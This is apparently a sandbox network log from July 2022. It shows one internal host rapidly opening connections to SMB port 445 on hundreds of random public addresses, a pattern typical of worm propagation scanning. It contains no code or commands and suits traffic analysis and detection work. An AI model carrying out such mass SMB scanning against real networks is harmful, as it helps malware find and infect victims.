Jul 20, 2022 09:10:30.083931923 CEST	57139	445	192.168.2.6	200.191.32.230
Jul 20, 2022 09:10:30.084578991 CEST	57140	445	192.168.2.6	77.152.236.89
Jul 20, 2022 09:10:30.085180998 CEST	57141	445	192.168.2.6	194.236.201.128
Jul 20, 2022 09:10:30.086244106 CEST	57143	445	192.168.2.6	65.69.70.158
Jul 20, 2022 09:10:30.087774992 CEST	57146	445	192.168.2.6	126.158.249.164
Jul 20, 2022 09:10:30.161987066 CEST	57158	445	192.168.2.6	170.88.42.44
Jul 20, 2022 09:10:30.162025928 CEST	57159	445	192.168.2.6	73.37.50.44
Jul 20, 2022 09:10:30.162185907 CEST	57162	445	192.168.2.6	79.24.217.22
Jul 20, 2022 09:10:30.162250042 CEST	57163	445	192.168.2.6	158.97.229.241
Jul 20, 2022 09:10:30.162381887 CEST	57167	445	192.168.2.6	129.44.57.140
Jul 20, 2022 09:10:30.162447929 CEST	57168	445	192.168.2.6	99.12.203.98
Jul 20, 2022 09:10:30.162552118 CEST	57169	445	192.168.2.6	132.208.22.235
Jul 20, 2022 09:10:30.170824051 CEST	57172	445	192.168.2.6	9.52.121.228
Jul 20, 2022 09:10:30.171487093 CEST	57173	445	192.168.2.6	126.238.4.250
Jul 20, 2022 09:10:30.172626019 CEST	57175	445	192.168.2.6	28.22.178.21
Jul 20, 2022 09:10:30.234684944 CEST	57184	445	192.168.2.6	200.241.165.167
Jul 20, 2022 09:10:30.234817982 CEST	57183	445	192.168.2.6	95.144.81.225
Jul 20, 2022 09:10:30.234821081 CEST	57185	445	192.168.2.6	83.27.200.101
Jul 20, 2022 09:10:30.234905005 CEST	57186	445	192.168.2.6	56.191.15.43
Jul 20, 2022 09:10:30.256227970 CEST	57195	445	192.168.2.6	195.215.141.90
Jul 20, 2022 09:10:30.256381989 CEST	57197	445	192.168.2.6	71.62.132.250
Jul 20, 2022 09:10:30.264693022 CEST	57207	445	192.168.2.6	162.44.217.99
Jul 20, 2022 09:10:30.265743017 CEST	57209	445	192.168.2.6	193.77.76.221
Jul 20, 2022 09:10:30.998142004 CEST	56951	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:31.077157021 CEST	57215	445	192.168.2.6	185.147.213.5
Jul 20, 2022 09:10:31.254734993 CEST	57220	445	192.168.2.6	157.43.100.198
Jul 20, 2022 09:10:31.256576061 CEST	57221	445	192.168.2.6	150.221.180.200
Jul 20, 2022 09:10:31.258392096 CEST	57222	445	192.168.2.6	30.144.154.219
Jul 20, 2022 09:10:31.258671045 CEST	57223	445	192.168.2.6	84.118.115.219
Jul 20, 2022 09:10:31.258811951 CEST	57224	445	192.168.2.6	98.237.34.93
Jul 20, 2022 09:10:31.259088993 CEST	57227	445	192.168.2.6	95.243.146.192
Jul 20, 2022 09:10:31.259228945 CEST	57228	445	192.168.2.6	152.188.34.126
Jul 20, 2022 09:10:31.259362936 CEST	57229	445	192.168.2.6	165.184.231.44
Jul 20, 2022 09:10:31.259530067 CEST	57231	445	192.168.2.6	90.29.50.193
Jul 20, 2022 09:10:31.259795904 CEST	57234	445	192.168.2.6	176.21.180.57
Jul 20, 2022 09:10:31.262815952 CEST	57243	445	192.168.2.6	164.43.100.113
Jul 20, 2022 09:10:31.267263889 CEST	57247	445	192.168.2.6	166.71.76.233
Jul 20, 2022 09:10:31.269819975 CEST	57248	445	192.168.2.6	220.206.194.112
Jul 20, 2022 09:10:31.292980909 CEST	57250	445	192.168.2.6	44.22.83.93
Jul 20, 2022 09:10:31.293062925 CEST	57252	445	192.168.2.6	68.155.151.71
Jul 20, 2022 09:10:31.293251038 CEST	57256	445	192.168.2.6	192.175.3.85
Jul 20, 2022 09:10:31.293281078 CEST	57257	445	192.168.2.6	150.232.113.33
Jul 20, 2022 09:10:31.293477058 CEST	57258	445	192.168.2.6	44.240.196.243
Jul 20, 2022 09:10:31.300507069 CEST	57261	445	192.168.2.6	122.122.101.210
Jul 20, 2022 09:10:31.303404093 CEST	57262	445	192.168.2.6	16.199.129.196
Jul 20, 2022 09:10:31.303493023 CEST	57264	445	192.168.2.6	53.239.3.196
Jul 20, 2022 09:10:31.365200996 CEST	57280	445	192.168.2.6	114.249.250.73
Jul 20, 2022 09:10:31.369527102 CEST	57283	445	192.168.2.6	70.186.227.41
Jul 20, 2022 09:10:31.375541925 CEST	57291	445	192.168.2.6	177.19.169.69
Jul 20, 2022 09:10:31.376343966 CEST	57292	445	192.168.2.6	189.2.209.42
Jul 20, 2022 09:10:31.378592014 CEST	57293	445	192.168.2.6	64.219.199.82
Jul 20, 2022 09:10:31.393615007 CEST	57294	445	192.168.2.6	120.198.229.252
Jul 20, 2022 09:10:31.395236969 CEST	57296	445	192.168.2.6	206.179.157.178
Jul 20, 2022 09:10:31.396955967 CEST	57298	445	192.168.2.6	135.120.81.88
Jul 20, 2022 09:10:32.139944077 CEST	57304	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:32.174020052 CEST	445	57304	185.147.213.6	192.168.2.6
Jul 20, 2022 09:10:32.174110889 CEST	57304	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:32.174546003 CEST	57304	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:32.177459955 CEST	57305	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:32.208694935 CEST	445	57304	185.147.213.6	192.168.2.6
Jul 20, 2022 09:10:32.208795071 CEST	57304	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:32.211252928 CEST	445	57305	185.147.213.6	192.168.2.6
Jul 20, 2022 09:10:32.211421013 CEST	57305	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:32.222767115 CEST	57305	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:32.257231951 CEST	445	57305	185.147.213.6	192.168.2.6
Jul 20, 2022 09:10:32.257262945 CEST	445	57305	185.147.213.6	192.168.2.6
Jul 20, 2022 09:10:32.257364988 CEST	57305	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:32.257529020 CEST	57305	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:32.257920027 CEST	57305	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:32.291156054 CEST	445	57305	185.147.213.6	192.168.2.6
Jul 20, 2022 09:10:32.291563034 CEST	445	57305	185.147.213.6	192.168.2.6
Jul 20, 2022 09:10:32.368452072 CEST	57310	445	192.168.2.6	63.206.6.112
Jul 20, 2022 09:10:32.369008064 CEST	57311	445	192.168.2.6	112.58.42.223
Jul 20, 2022 09:10:32.369009972 CEST	57312	445	192.168.2.6	194.163.72.186
Jul 20, 2022 09:10:32.369098902 CEST	57314	445	192.168.2.6	72.120.58.24
Jul 20, 2022 09:10:32.369134903 CEST	57313	445	192.168.2.6	108.105.101.230
Jul 20, 2022 09:10:32.369297981 CEST	57317	445	192.168.2.6	210.125.121.226
Jul 20, 2022 09:10:32.369350910 CEST	57319	445	192.168.2.6	111.158.53.169
Jul 20, 2022 09:10:32.369406939 CEST	57318	445	192.168.2.6	153.28.103.14
Jul 20, 2022 09:10:32.369483948 CEST	57321	445	192.168.2.6	63.148.73.192
Jul 20, 2022 09:10:32.369582891 CEST	57324	445	192.168.2.6	101.235.96.225
Jul 20, 2022 09:10:32.369869947 CEST	57333	445	192.168.2.6	162.139.117.149
Jul 20, 2022 09:10:32.390443087 CEST	57334	445	192.168.2.6	199.188.132.171
Jul 20, 2022 09:10:32.391350031 CEST	57335	445	192.168.2.6	70.66.9.36
Jul 20, 2022 09:10:32.411425114 CEST	57346	445	192.168.2.6	215.58.75.202
Jul 20, 2022 09:10:32.411977053 CEST	57347	445	192.168.2.6	26.92.100.39
Jul 20, 2022 09:10:32.412967920 CEST	57349	445	192.168.2.6	201.173.25.234
Jul 20, 2022 09:10:32.414500952 CEST	57352	445	192.168.2.6	157.46.78.91
Jul 20, 2022 09:10:32.415044069 CEST	57353	445	192.168.2.6	38.17.190.30
Jul 20, 2022 09:10:32.417891026 CEST	57357	445	192.168.2.6	90.36.211.27
Jul 20, 2022 09:10:32.418190956 CEST	57358	445	192.168.2.6	22.252.124.190
Jul 20, 2022 09:10:32.419893026 CEST	57361	445	192.168.2.6	92.222.237.32
Jul 20, 2022 09:10:32.473978043 CEST	57369	445	192.168.2.6	31.72.98.207
Jul 20, 2022 09:10:32.476517916 CEST	57373	445	192.168.2.6	168.119.214.30
Jul 20, 2022 09:10:32.483714104 CEST	57378	445	192.168.2.6	155.144.229.92
Jul 20, 2022 09:10:32.484323978 CEST	57379	445	192.168.2.6	145.221.73.219
Jul 20, 2022 09:10:32.484827995 CEST	57380	445	192.168.2.6	114.202.15.48
Jul 20, 2022 09:10:32.498285055 CEST	56773	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:32.524789095 CEST	57384	445	192.168.2.6	8.92.47.163
Jul 20, 2022 09:10:32.526211023 CEST	57386	445	192.168.2.6	202.4.120.55
Jul 20, 2022 09:10:32.528357983 CEST	57389	445	192.168.2.6	210.141.115.103
Jul 20, 2022 09:10:32.543556929 CEST	445	57310	63.206.6.112	192.168.2.6
Jul 20, 2022 09:10:33.107650995 CEST	57310	445	192.168.2.6	63.206.6.112
Jul 20, 2022 09:10:33.278630972 CEST	445	57310	63.206.6.112	192.168.2.6
Jul 20, 2022 09:10:33.597892046 CEST	57399	445	192.168.2.6	180.34.128.68
Jul 20, 2022 09:10:33.597995996 CEST	57402	445	192.168.2.6	13.119.8.27
Jul 20, 2022 09:10:33.597997904 CEST	57400	445	192.168.2.6	184.168.115.169
Jul 20, 2022 09:10:33.598087072 CEST	57403	445	192.168.2.6	142.186.221.167
Jul 20, 2022 09:10:33.598212004 CEST	57405	445	192.168.2.6	107.251.187.34
Jul 20, 2022 09:10:33.598293066 CEST	57407	445	192.168.2.6	153.227.92.81
Jul 20, 2022 09:10:33.598386049 CEST	57408	445	192.168.2.6	88.174.247.39
Jul 20, 2022 09:10:33.599303961 CEST	57409	445	192.168.2.6	64.217.161.56
Jul 20, 2022 09:10:33.599431992 CEST	57401	445	192.168.2.6	214.43.132.222
Jul 20, 2022 09:10:33.599471092 CEST	57413	445	192.168.2.6	217.31.97.238
Jul 20, 2022 09:10:33.600394011 CEST	57422	445	192.168.2.6	47.120.168.118
Jul 20, 2022 09:10:33.624263048 CEST	57431	445	192.168.2.6	6.116.239.105
Jul 20, 2022 09:10:33.624407053 CEST	57432	445	192.168.2.6	74.192.12.208
Jul 20, 2022 09:10:33.624552011 CEST	57433	445	192.168.2.6	80.166.49.63
Jul 20, 2022 09:10:33.624686003 CEST	57434	445	192.168.2.6	115.128.43.82
Jul 20, 2022 09:10:33.624942064 CEST	57438	445	192.168.2.6	217.98.35.45
Jul 20, 2022 09:10:33.625193119 CEST	57442	445	192.168.2.6	113.148.35.176
Jul 20, 2022 09:10:33.625379086 CEST	57443	445	192.168.2.6	57.191.213.167
Jul 20, 2022 09:10:33.625714064 CEST	57447	445	192.168.2.6	144.107.230.125
Jul 20, 2022 09:10:33.625881910 CEST	57449	445	192.168.2.6	60.181.33.176
Jul 20, 2022 09:10:33.626322985 CEST	57444	445	192.168.2.6	3.46.188.125
Jul 20, 2022 09:10:33.640414000 CEST	57458	445	192.168.2.6	121.58.53.68
Jul 20, 2022 09:10:33.641300917 CEST	57462	445	192.168.2.6	78.10.175.129
Jul 20, 2022 09:10:33.675914049 CEST	57468	445	192.168.2.6	136.145.143.76
Jul 20, 2022 09:10:33.676448107 CEST	57469	445	192.168.2.6	202.165.225.124
Jul 20, 2022 09:10:33.677731037 CEST	57471	445	192.168.2.6	94.83.232.191
Jul 20, 2022 09:10:33.680531979 CEST	57473	445	192.168.2.6	214.48.208.78
Jul 20, 2022 09:10:33.680901051 CEST	57474	445	192.168.2.6	101.147.48.22
Jul 20, 2022 09:10:33.681644917 CEST	57475	445	192.168.2.6	102.89.45.119
Jul 20, 2022 09:10:33.770322084 CEST	445	57403	142.186.221.167	192.168.2.6
Jul 20, 2022 09:10:33.810900927 CEST	56951	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:34.279679060 CEST	57403	445	192.168.2.6	142.186.221.167
Jul 20, 2022 09:10:34.451800108 CEST	445	57403	142.186.221.167	192.168.2.6
Jul 20, 2022 09:10:34.750427008 CEST	57485	445	192.168.2.6	218.15.220.75
Jul 20, 2022 09:10:34.751471996 CEST	57487	445	192.168.2.6	135.165.64.32
Jul 20, 2022 09:10:34.752439022 CEST	57489	445	192.168.2.6	13.58.84.158
Jul 20, 2022 09:10:34.754163980 CEST	57492	445	192.168.2.6	42.222.47.183
Jul 20, 2022 09:10:34.758455038 CEST	57501	445	192.168.2.6	154.154.131.31
Jul 20, 2022 09:10:34.887934923 CEST	57513	445	192.168.2.6	165.132.185.11
Jul 20, 2022 09:10:34.888216019 CEST	57517	445	192.168.2.6	223.120.163.118
Jul 20, 2022 09:10:34.888525009 CEST	57523	445	192.168.2.6	22.83.231.135
Jul 20, 2022 09:10:34.888712883 CEST	57525	445	192.168.2.6	53.75.111.82
Jul 20, 2022 09:10:34.888931990 CEST	57528	445	192.168.2.6	156.132.50.104
Jul 20, 2022 09:10:34.892060995 CEST	57529	445	192.168.2.6	158.148.3.126
Jul 20, 2022 09:10:34.892224073 CEST	57530	445	192.168.2.6	179.91.40.247
Jul 20, 2022 09:10:34.892887115 CEST	57534	445	192.168.2.6	40.50.98.10
Jul 20, 2022 09:10:34.893084049 CEST	57538	445	192.168.2.6	175.79.212.182
Jul 20, 2022 09:10:34.893177032 CEST	57539	445	192.168.2.6	192.231.237.97
Jul 20, 2022 09:10:34.893258095 CEST	57540	445	192.168.2.6	132.101.109.114
Jul 20, 2022 09:10:34.893385887 CEST	57541	445	192.168.2.6	14.190.253.232
Jul 20, 2022 09:10:34.893728018 CEST	57550	445	192.168.2.6	108.29.146.14
Jul 20, 2022 09:10:34.893801928 CEST	57551	445	192.168.2.6	56.72.138.199
Jul 20, 2022 09:10:34.893887043 CEST	57552	445	192.168.2.6	50.176.173.87
Jul 20, 2022 09:10:34.893973112 CEST	57553	445	192.168.2.6	21.172.144.6
Jul 20, 2022 09:10:34.894043922 CEST	57554	445	192.168.2.6	120.66.32.76
Jul 20, 2022 09:10:34.894121885 CEST	57555	445	192.168.2.6	84.133.158.179
Jul 20, 2022 09:10:34.898988962 CEST	57557	445	192.168.2.6	223.150.44.179
Jul 20, 2022 09:10:34.899112940 CEST	57558	445	192.168.2.6	26.120.183.254
Jul 20, 2022 09:10:34.899188995 CEST	57560	445	192.168.2.6	76.82.189.201
Jul 20, 2022 09:10:34.899302006 CEST	57562	445	192.168.2.6	37.215.55.253
Jul 20, 2022 09:10:34.899377108 CEST	57563	445	192.168.2.6	94.7.250.232
Jul 20, 2022 09:10:34.899451017 CEST	57564	445	192.168.2.6	125.225.127.138
Jul 20, 2022 09:10:35.318447113 CEST	57571	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:35.352864981 CEST	445	57571	185.147.213.6	192.168.2.6
Jul 20, 2022 09:10:35.353072882 CEST	57571	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:35.386522055 CEST	57571	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:35.421039104 CEST	445	57571	185.147.213.6	192.168.2.6
Jul 20, 2022 09:10:35.421078920 CEST	445	57571	185.147.213.6	192.168.2.6
Jul 20, 2022 09:10:35.421181917 CEST	57571	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:35.426299095 CEST	57571	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:35.426517010 CEST	57571	445	192.168.2.6	185.147.213.6
Jul 20, 2022 09:10:35.460674047 CEST	445	57571	185.147.213.6	192.168.2.6
Jul 20, 2022 09:10:35.460903883 CEST	445	57571	185.147.213.6	192.168.2.6
Jul 20, 2022 09:10:35.522978067 CEST	57574	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:35.557019949 CEST	445	57574	185.147.213.7	192.168.2.6
Jul 20, 2022 09:10:35.557168961 CEST	57574	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:35.557389021 CEST	57574	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:35.571285963 CEST	57575	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:35.591458082 CEST	445	57574	185.147.213.7	192.168.2.6
Jul 20, 2022 09:10:35.591604948 CEST	57574	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:35.604887009 CEST	445	57575	185.147.213.7	192.168.2.6
Jul 20, 2022 09:10:35.605045080 CEST	57575	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:36.710937977 CEST	57575	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:36.744630098 CEST	445	57575	185.147.213.7	192.168.2.6
Jul 20, 2022 09:10:36.744771957 CEST	445	57575	185.147.213.7	192.168.2.6
Jul 20, 2022 09:10:36.744868994 CEST	57575	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:36.783345938 CEST	57575	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:36.783653975 CEST	57575	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:36.821306944 CEST	445	57575	185.147.213.7	192.168.2.6
Jul 20, 2022 09:10:36.821336031 CEST	445	57575	185.147.213.7	192.168.2.6
Jul 20, 2022 09:10:36.831650972 CEST	57576	445	192.168.2.6	10.218.185.42
Jul 20, 2022 09:10:36.832329035 CEST	57577	445	192.168.2.6	222.139.50.102
Jul 20, 2022 09:10:36.833450079 CEST	57578	445	192.168.2.6	170.40.91.2
Jul 20, 2022 09:10:36.836124897 CEST	57582	445	192.168.2.6	210.92.50.95
Jul 20, 2022 09:10:36.838696957 CEST	57586	445	192.168.2.6	110.180.93.165
Jul 20, 2022 09:10:36.839404106 CEST	57587	445	192.168.2.6	13.116.37.194
Jul 20, 2022 09:10:36.840085030 CEST	57588	445	192.168.2.6	199.198.135.20
Jul 20, 2022 09:10:36.843213081 CEST	57591	445	192.168.2.6	41.227.105.109
Jul 20, 2022 09:10:36.844573021 CEST	57593	445	192.168.2.6	49.24.81.165
Jul 20, 2022 09:10:36.848355055 CEST	57599	445	192.168.2.6	168.92.139.160
Jul 20, 2022 09:10:36.851344109 CEST	57603	445	192.168.2.6	71.67.183.142
Jul 20, 2022 09:10:37.052659988 CEST	57612	445	192.168.2.6	75.234.121.44
Jul 20, 2022 09:10:37.052867889 CEST	57614	445	192.168.2.6	129.34.242.180
Jul 20, 2022 09:10:37.053029060 CEST	57616	445	192.168.2.6	28.33.30.83
Jul 20, 2022 09:10:37.053221941 CEST	57619	445	192.168.2.6	221.218.139.178
Jul 20, 2022 09:10:37.053648949 CEST	57628	445	192.168.2.6	91.97.65.68
Jul 20, 2022 09:10:37.054048061 CEST	57635	445	192.168.2.6	130.53.1.164
Jul 20, 2022 09:10:37.054137945 CEST	57636	445	192.168.2.6	7.33.94.151
Jul 20, 2022 09:10:37.054295063 CEST	57637	445	192.168.2.6	92.192.115.223
Jul 20, 2022 09:10:37.054425955 CEST	57638	445	192.168.2.6	196.133.104.98
Jul 20, 2022 09:10:37.054541111 CEST	57639	445	192.168.2.6	223.170.85.56
Jul 20, 2022 09:10:37.054632902 CEST	57640	445	192.168.2.6	38.128.194.192
Jul 20, 2022 09:10:37.055118084 CEST	57649	445	192.168.2.6	188.135.63.88
Jul 20, 2022 09:10:37.055592060 CEST	57658	445	192.168.2.6	202.211.213.27
Jul 20, 2022 09:10:37.055706978 CEST	57659	445	192.168.2.6	100.139.239.28
Jul 20, 2022 09:10:37.055814981 CEST	57660	445	192.168.2.6	177.123.224.0
Jul 20, 2022 09:10:37.056047916 CEST	57664	445	192.168.2.6	115.180.63.41
Jul 20, 2022 09:10:37.056159973 CEST	57665	445	192.168.2.6	139.90.193.160
Jul 20, 2022 09:10:38.140669107 CEST	57667	445	192.168.2.6	150.61.85.159
Jul 20, 2022 09:10:38.143096924 CEST	57671	445	192.168.2.6	80.73.223.167
Jul 20, 2022 09:10:38.143652916 CEST	57672	445	192.168.2.6	74.175.23.225
Jul 20, 2022 09:10:38.144192934 CEST	57673	445	192.168.2.6	25.250.117.217
Jul 20, 2022 09:10:38.145226002 CEST	57675	445	192.168.2.6	141.44.120.50
Jul 20, 2022 09:10:38.228070974 CEST	57677	445	192.168.2.6	148.210.172.152
Jul 20, 2022 09:10:38.230953932 CEST	57683	445	192.168.2.6	133.236.16.170
Jul 20, 2022 09:10:38.232917070 CEST	57687	445	192.168.2.6	22.80.170.120
Jul 20, 2022 09:10:38.241955996 CEST	57694	445	192.168.2.6	151.41.37.6
Jul 20, 2022 09:10:38.242569923 CEST	57695	445	192.168.2.6	18.64.152.201
Jul 20, 2022 09:10:38.243123055 CEST	57696	445	192.168.2.6	96.196.69.92
Jul 20, 2022 09:10:38.474498987 CEST	57708	445	192.168.2.6	170.125.214.34
Jul 20, 2022 09:10:38.474622965 CEST	57715	445	192.168.2.6	197.13.169.229
Jul 20, 2022 09:10:38.474719048 CEST	57717	445	192.168.2.6	35.12.71.79
Jul 20, 2022 09:10:38.474754095 CEST	57716	445	192.168.2.6	69.249.99.3
Jul 20, 2022 09:10:38.474826097 CEST	57718	445	192.168.2.6	197.137.167.94
Jul 20, 2022 09:10:38.474883080 CEST	57719	445	192.168.2.6	146.66.156.48
Jul 20, 2022 09:10:38.474930048 CEST	57720	445	192.168.2.6	89.229.188.220
Jul 20, 2022 09:10:38.475289106 CEST	57729	445	192.168.2.6	200.64.21.186
Jul 20, 2022 09:10:38.475421906 CEST	57735	445	192.168.2.6	12.112.193.54
Jul 20, 2022 09:10:38.475552082 CEST	57738	445	192.168.2.6	41.209.106.101
Jul 20, 2022 09:10:38.475581884 CEST	57739	445	192.168.2.6	106.8.214.43
Jul 20, 2022 09:10:38.475712061 CEST	57741	445	192.168.2.6	157.106.233.27
Jul 20, 2022 09:10:38.475869894 CEST	57745	445	192.168.2.6	70.89.213.126
Jul 20, 2022 09:10:38.475949049 CEST	57744	445	192.168.2.6	78.207.38.175
Jul 20, 2022 09:10:38.476084948 CEST	57747	445	192.168.2.6	205.64.21.69
Jul 20, 2022 09:10:38.476157904 CEST	57748	445	192.168.2.6	118.66.127.86
Jul 20, 2022 09:10:38.476198912 CEST	57749	445	192.168.2.6	29.160.184.217
Jul 20, 2022 09:10:38.480220079 CEST	57756	445	192.168.2.6	37.38.113.140
Jul 20, 2022 09:10:39.268304110 CEST	57758	445	192.168.2.6	159.43.5.177
Jul 20, 2022 09:10:39.268506050 CEST	57763	445	192.168.2.6	87.110.219.146
Jul 20, 2022 09:10:39.268568993 CEST	57764	445	192.168.2.6	157.74.161.184
Jul 20, 2022 09:10:39.268635035 CEST	57765	445	192.168.2.6	117.89.43.105
Jul 20, 2022 09:10:39.269011974 CEST	57766	445	192.168.2.6	123.57.30.204
Jul 20, 2022 09:10:39.277580023 CEST	56951	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:39.357588053 CEST	57770	445	192.168.2.6	65.157.85.94
Jul 20, 2022 09:10:39.360831976 CEST	57772	445	192.168.2.6	121.93.248.52
Jul 20, 2022 09:10:39.366540909 CEST	57773	445	192.168.2.6	116.11.71.62
Jul 20, 2022 09:10:39.369995117 CEST	57780	445	192.168.2.6	89.124.128.82
Jul 20, 2022 09:10:39.370214939 CEST	57786	445	192.168.2.6	30.22.238.103
Jul 20, 2022 09:10:39.370434046 CEST	57791	445	192.168.2.6	5.220.222.246
Jul 20, 2022 09:10:39.594037056 CEST	57793	445	192.168.2.6	153.169.218.237
Jul 20, 2022 09:10:39.594563961 CEST	57794	445	192.168.2.6	146.39.186.116
Jul 20, 2022 09:10:39.596113920 CEST	57797	445	192.168.2.6	72.0.182.172
Jul 20, 2022 09:10:39.596952915 CEST	57798	445	192.168.2.6	109.36.147.38
Jul 20, 2022 09:10:39.597505093 CEST	57799	445	192.168.2.6	18.119.139.227
Jul 20, 2022 09:10:39.598572016 CEST	57801	445	192.168.2.6	31.136.165.36
Jul 20, 2022 09:10:39.599266052 CEST	57802	445	192.168.2.6	88.16.234.196
Jul 20, 2022 09:10:39.602190018 CEST	57808	445	192.168.2.6	76.175.90.136
Jul 20, 2022 09:10:39.608283997 CEST	56773	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:39.633977890 CEST	57819	445	192.168.2.6	161.10.5.35
Jul 20, 2022 09:10:39.634784937 CEST	57824	445	192.168.2.6	20.213.253.53
Jul 20, 2022 09:10:39.634907961 CEST	57825	445	192.168.2.6	13.79.69.210
Jul 20, 2022 09:10:39.634984970 CEST	57826	445	192.168.2.6	126.218.218.54
Jul 20, 2022 09:10:39.635090113 CEST	57827	445	192.168.2.6	152.178.91.102
Jul 20, 2022 09:10:39.635166883 CEST	57828	445	192.168.2.6	204.85.180.251
Jul 20, 2022 09:10:39.635301113 CEST	57830	445	192.168.2.6	184.126.205.45
Jul 20, 2022 09:10:39.635607958 CEST	57840	445	192.168.2.6	99.134.177.22
Jul 20, 2022 09:10:39.635782003 CEST	57844	445	192.168.2.6	131.4.113.74
Jul 20, 2022 09:10:39.635932922 CEST	57847	445	192.168.2.6	4.204.243.55
Jul 20, 2022 09:10:39.674494028 CEST	57848	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:39.749880075 CEST	445	57799	18.119.139.227	192.168.2.6
Jul 20, 2022 09:10:39.750020027 CEST	57799	445	192.168.2.6	18.119.139.227
Jul 20, 2022 09:10:39.750241995 CEST	57799	445	192.168.2.6	18.119.139.227
Jul 20, 2022 09:10:39.751033068 CEST	57849	445	192.168.2.6	18.119.139.1
Jul 20, 2022 09:10:39.796689034 CEST	57850	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:39.824759960 CEST	445	57848	155.101.152.2	192.168.2.6
Jul 20, 2022 09:10:39.824868917 CEST	57848	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:39.830641031 CEST	57851	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:39.831083059 CEST	445	57850	185.147.213.7	192.168.2.6
Jul 20, 2022 09:10:39.831187963 CEST	57850	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:39.831393957 CEST	57850	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:39.867832899 CEST	445	57850	185.147.213.7	192.168.2.6
Jul 20, 2022 09:10:39.867862940 CEST	445	57850	185.147.213.7	192.168.2.6
Jul 20, 2022 09:10:39.867949009 CEST	57850	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:39.868105888 CEST	57850	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:39.868336916 CEST	57850	445	192.168.2.6	185.147.213.7
Jul 20, 2022 09:10:39.898854971 CEST	445	57799	18.119.139.227	192.168.2.6
Jul 20, 2022 09:10:39.898880959 CEST	445	57799	18.119.139.227	192.168.2.6
Jul 20, 2022 09:10:39.902487993 CEST	445	57850	185.147.213.7	192.168.2.6
Jul 20, 2022 09:10:39.902664900 CEST	445	57850	185.147.213.7	192.168.2.6
Jul 20, 2022 09:10:39.923399925 CEST	57852	445	192.168.2.6	185.147.213.8
Jul 20, 2022 09:10:39.979208946 CEST	445	57851	155.101.152.2	192.168.2.6
Jul 20, 2022 09:10:39.979351997 CEST	57851	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:40.311415911 CEST	57848	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:40.390472889 CEST	57855	445	192.168.2.6	120.116.123.190
Jul 20, 2022 09:10:40.392961979 CEST	57860	445	192.168.2.6	206.94.142.246
Jul 20, 2022 09:10:40.393486023 CEST	57861	445	192.168.2.6	163.94.109.146
Jul 20, 2022 09:10:40.394018888 CEST	57862	445	192.168.2.6	129.46.161.68
Jul 20, 2022 09:10:40.394783020 CEST	57863	445	192.168.2.6	107.93.240.174
Jul 20, 2022 09:10:40.470546961 CEST	57867	445	192.168.2.6	191.249.121.85
Jul 20, 2022 09:10:40.484530926 CEST	57869	445	192.168.2.6	182.171.152.208
Jul 20, 2022 09:10:40.491302013 CEST	57870	445	192.168.2.6	162.174.40.56
Jul 20, 2022 09:10:40.492413044 CEST	57879	445	192.168.2.6	13.53.137.122
Jul 20, 2022 09:10:40.492520094 CEST	57881	445	192.168.2.6	94.35.71.11
Jul 20, 2022 09:10:40.492768049 CEST	57886	445	192.168.2.6	211.174.237.199
Jul 20, 2022 09:10:40.498920918 CEST	57851	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:40.718915939 CEST	57890	445	192.168.2.6	37.21.240.19
Jul 20, 2022 09:10:40.719434977 CEST	57891	445	192.168.2.6	134.67.76.135
Jul 20, 2022 09:10:40.720967054 CEST	57894	445	192.168.2.6	152.97.143.37
Jul 20, 2022 09:10:40.721524954 CEST	57895	445	192.168.2.6	190.64.134.178
Jul 20, 2022 09:10:40.722659111 CEST	57897	445	192.168.2.6	109.28.212.30
Jul 20, 2022 09:10:40.723321915 CEST	57898	445	192.168.2.6	167.10.140.185
Jul 20, 2022 09:10:40.726864100 CEST	57904	445	192.168.2.6	99.93.122.63
Jul 20, 2022 09:10:40.773274899 CEST	57905	445	192.168.2.6	46.193.198.88
Jul 20, 2022 09:10:40.774486065 CEST	57907	445	192.168.2.6	14.3.110.28
Jul 20, 2022 09:10:40.780062914 CEST	445	57869	182.171.152.208	192.168.2.6
Jul 20, 2022 09:10:40.811494112 CEST	57848	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:40.851784945 CEST	57910	445	192.168.2.6	200.239.32.227
Jul 20, 2022 09:10:40.852658033 CEST	57911	445	192.168.2.6	82.210.161.155
Jul 20, 2022 09:10:40.852844954 CEST	57912	445	192.168.2.6	141.43.138.191
